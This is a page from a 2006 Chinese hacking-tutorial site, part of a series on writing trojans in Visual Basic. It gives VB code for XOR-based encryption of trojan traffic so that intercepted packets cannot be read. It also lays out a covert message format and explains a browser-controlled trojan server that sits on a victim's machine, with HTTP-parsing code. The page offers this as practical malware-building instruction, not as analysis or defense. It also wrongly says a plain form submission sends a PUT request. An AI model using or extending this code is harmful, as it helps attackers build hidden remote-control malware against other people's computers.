首页 | 业界新闻 | 黑客教程 | 安全漏洞 | 安全文章 | 破解技术 | 技术文摘 | 黑客文化 | 本站原创 | 安全贴吧 | 在线留言 | IP查询 | 软件下载 | 繁体中文 |
您现在的位置: 黑色反击 >> 技术资讯 >> 黑客教程 >> 黑客编程 >> 正文
VB木马也疯狂
时间:2006-3-29 2:23:43 出处:网络技术论坛 作者:小金 编辑:mervin 点击数:

十二、报文加密和报文格式
由于木马有时候传输的是敏感信息,而且数据包会被拦截分析,因此必须尽量少用不经过任何处理的明文传递数据,而是把明文数据加密成乱字符密文后发送,确保不被人伪造假命令或者窃取信息。
加密的思路其实不用很复杂,只要把它理解为货物出站时加一个包装箱,接收方拿到货物后打开箱子就可以了,只需在send时把字符串进行加密(Encrypt)就可以,对方recv后立即解密(Decrypt)就得到原始数据,接下来如何处理就看后面的代码了,例如:
===================================================
'加密后发送数据
rc = Encrypt(rc, "a") '加密
SendData wParam, rc

'接收并解密
Do
szBuf = String(256, 0)
lRet = recv(wParam, ByVal szBuf, Len(szBuf), 0)
If lRet > 0 Then sData = sData + Left$(szBuf, lRet)
Loop Until lRet <= 0
sData = Decrypt(sData, "a")
sData = Trim$(sData)
===================================================

加密的方式有很多种,具体用哪种并不重要,重要的是,这种加密是否很容易被破译,最简单的一种方法是把原始数据的每个字符ASCII代码都减去1,这样出来的数据也可以算是面目全非了,接收后再把它们的ASCII值加上1即可。但是要想做比较强的加密,我推荐用密钥加密,破译的难度至少大一些。

VB代码:
===================================================
'解密
Function Decrypt(PlainStr As String, key As String)
Dim Char As String, KeyChar As String, NewStr As String
Dim Pos As Integer
Dim i As Integer, Side1 As String, Side2 As String
Pos = 1

If Len(PlainStr) Mod 2 = 0 Then
Side1 = StrReverse(Left(PlainStr, (Len(PlainStr) / 2)))
Side2 = StrReverse(Right(PlainStr, (Len(PlainStr) / 2)))
PlainStr = Side1 & Side2
End If

For i = 1 To Len(PlainStr)
Char = Mid(PlainStr, i, 1)
KeyChar = Mid(key, Pos, 1)
NewStr = NewStr & Chr(Asc(Char) Xor Asc(KeyChar))
If Pos = Len(key) Then Pos = 0
Pos = Pos + 1
Next i

Decrypt = NewStr
End Function

'加密
Function Encrypt(PlainStr As String, key As String)
Dim Char As String, KeyChar As String, NewStr As String
Dim Pos As Integer
Dim i As Integer, Side1 As String, Side2 As String
Pos = 1

For i = 1 To Len(PlainStr)
Char = Mid(PlainStr, i, 1)
KeyChar = Mid(key, Pos, 1)
NewStr = NewStr & Chr(Asc(Char) Xor Asc(KeyChar))
If Pos = Len(key) Then Pos = 0
Pos = Pos + 1
Next i

If Len(NewStr) Mod 2 = 0 Then
Side1 = StrReverse(Left(NewStr, (Len(NewStr) / 2)))
Side2 = StrReverse(Right(NewStr, (Len(NewStr) / 2)))
NewStr = Side1 & Side2
End If

Encrypt = NewStr
End Function
===================================================

除了加密,报文的格式也是重要的。没有制作经验的初学者往往不明白格式的重要性,而是直接把数据不加修饰的发送出去,如果功能少点还可以,如果功能多了,出错的机会也就大了。有的新手直接把汉字或其他非英文字符直接发出去,这更会引起不必要的麻烦,因为全世界并不是只有中国,也不是只有中文Windows,世界上还有韩文Windows、英文Windows等不支持中文内码的操作系统,它们会导致你的木马返回的数据变成乱码,正如在中文Windows上运行BIG5内码程序或日文内码程序一样。
没必要为报文格式定个标准,只要是自己处理起来方便的就可以。例如下面的报文:

HBUTROJAN/.../550/.../NOTWRITE/.../c:\Windows\win.ini

我用“/.../”划分这个报文区域,因为这样的分割标记不容易被一些例外数据干扰,把分隔符去除后得到:

[前导标记] [ASCII代码] [信息1] [信息2]

客户端/服务端程序接收翻译部分代码的分解:
1.[前导标记] 预先定义为HBUTROJAN,如果用InStr或Left得不到这个数据,则表示程序接收到的数据并非服务端/客户端发送来的,跳出处理过程。如果含有这个标记,则进行下一个区域的处理。
2.[ASCII代码] 用数字做标识码,分别对应不同情况,例如200代表正常,404代表文件未找到,550表示权限拒绝等。
3.[信息1] 这里用于进一步解释返回的数据含义。
4.[信息2] 补充说明。
所以HBUTROJAN/.../550/.../NOTWRITE/.../c:\windows\win.ini经过翻译后可以知道要表达的是:无法写入文件 c:\Windows\win.ini
经过这样的格式处理,把详细资料都放在程序内部进行翻译,而不是直接把要做的事传来传去,“含蓄”的木马通常可以让人摸不到头脑,呵呵。

十三、B/S模式
浏览器-服务器模式(Browser-Server,B/S)提供了一种简便的交互界面,无需专用的Client连接。Server端在受害者的机器等待入侵者用Internet Explorer等浏览器来发送命令,并以HTML页面方式返回返回数据。
要制作基于B/S模式的木马,前提是了解HTTP协议和基础的HTML制作,你不用学会制作复杂的表格,但是必须会最基本的表单提交,这是Browser与Server交互的唯一方式。

1.HTTP协议
HTTP协议使用TCP协议和明文字符传递数据,一个基本的HTTP请求如下(<CR>代表换行符):
===================================================
GET /index.htm HTTP/1.0<CR>
Accept:*/*<CR>
User-Agent:Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)<CR>
Host:www.target.com<CR>
<CR>
<CR>
===================================================
HTTP请求可以略分为3个分段:
1.基本数据:GET /index.htm HTTP/1.0<CR>
表示用GET方法请求根目录的index.htm,使用HTTP1.0的协议版本,用换行符表示结束。
2.附加数据:Accept:*/*<CR>
User-Agent:Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)<CR>
Host:www.target.com<CR>
跟随在HTTP/1.0后一行开始的字符无论有多少,都只是一种附加数据,用于详细说明该次HTTP请求需要什么细节设置,一般比较重要的是Set-Cookie和Referer信息。
3.结束标志:<CR><CR>(两个换行符)
这是表示HTTP请求结尾的标志,服务器必须接收到至少2个换行符才会对这次的HTTP报文进行处理。
根据HTTP报文格式,按照理论我们可以从基本数据段和附加数据段去开发B/S,但是由于浏览器不能让我们自定义附加数据,所以实际上只有用基本数据来控制木马。

2.最重要的HTML交互——表单提交
相信大家都知道在HTML页面里点击一个按钮发表文章帖子,这时候浏览器的后台操作是怎么样的呢?例如这段表单:
<form action="register"><p size=9px> 名字 <input type="text" name="UserName"></p><p> 年龄 <input name="Age" type="text"></p><input type="submit" value="注册"></form>

工具捕获IE输出,可以看到点击按钮后实际是发送了以下HTTP请求:
PUT /register?UserName=LK007&Age=18 HTTP/1.0
Accept:text/html
User-Agent:Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)
Host:www.target.com

虽然里面有我们需要的数据,但是无用数据也太多了,所以必须用一段代码去除枝叶,保留核心。
===================================================
Function ProcHTTP(strData As String) As String
'去除HTTP请求中的基本数据头尾、附加数据、结束标志
'Author:LK007
'使用方法:字符变量=ProcHTTP([HTTP报文])
On Error Resume Next
Dim FindGet As Integer, FindPost As Integer, spc2 As Integer
If Mid$(strData$, 1, 3) = "GET" Then '如果以GET开头
FindGet = InStr(strData$, "GET ")
spc2 = InStr(FindGet + 5, strData$, " ") ' 取得第二个空格分隔符位置(“HTTP”字符)
ProcHTTP = Trim$(Mid$(strData$, FindGet + 4, spc2 - (FindGet + 4))) '分离数据
ElseIf Mid$(strData$, 1, 4) = "POST" Then '如果以POST开头
FindPost = InStr(strData$, "POST ")
spc2 = InStr(FindPost + 5, strData$, " ") '取第二个空格
ProcHTTP = Trim$(Mid$(strData$, FindPost + 5, spc2 - (FindPost + 5))) '分离数据
End If
End Function
===================================================
 
 

上一页  [1] [2] [3] [4] [5] [6] [7] [8] 下一页

精彩推荐
今天你泄露了吗 网络个
黑反归来,重要通知!
hack菜鸟入门
VB 从零开始编外挂(完
IPC入侵全接触
QQ跨站漏洞巧利用,强
WinXP中CPU占用100%原
黑客新技术 灰鸽子巧妙
实例讲解 黑客入侵论坛
BMP文件格式分析
热门软件
网 友 评 论
关于我们 - 联系方式 - 招聘信息 - 合作伙伴 - 网站地图 - 广告服务 - 我要投稿 - 设为首页 - 加入收藏
黑色反击 力倡网络安全,崇尚互联共享,欢迎各种媒体转载我们的原创作品 [转载请注明出处]。
报障QQ:281873518,479748258 EMAIL:hf110.com@gmail.com 备案:苏ICP备05010002号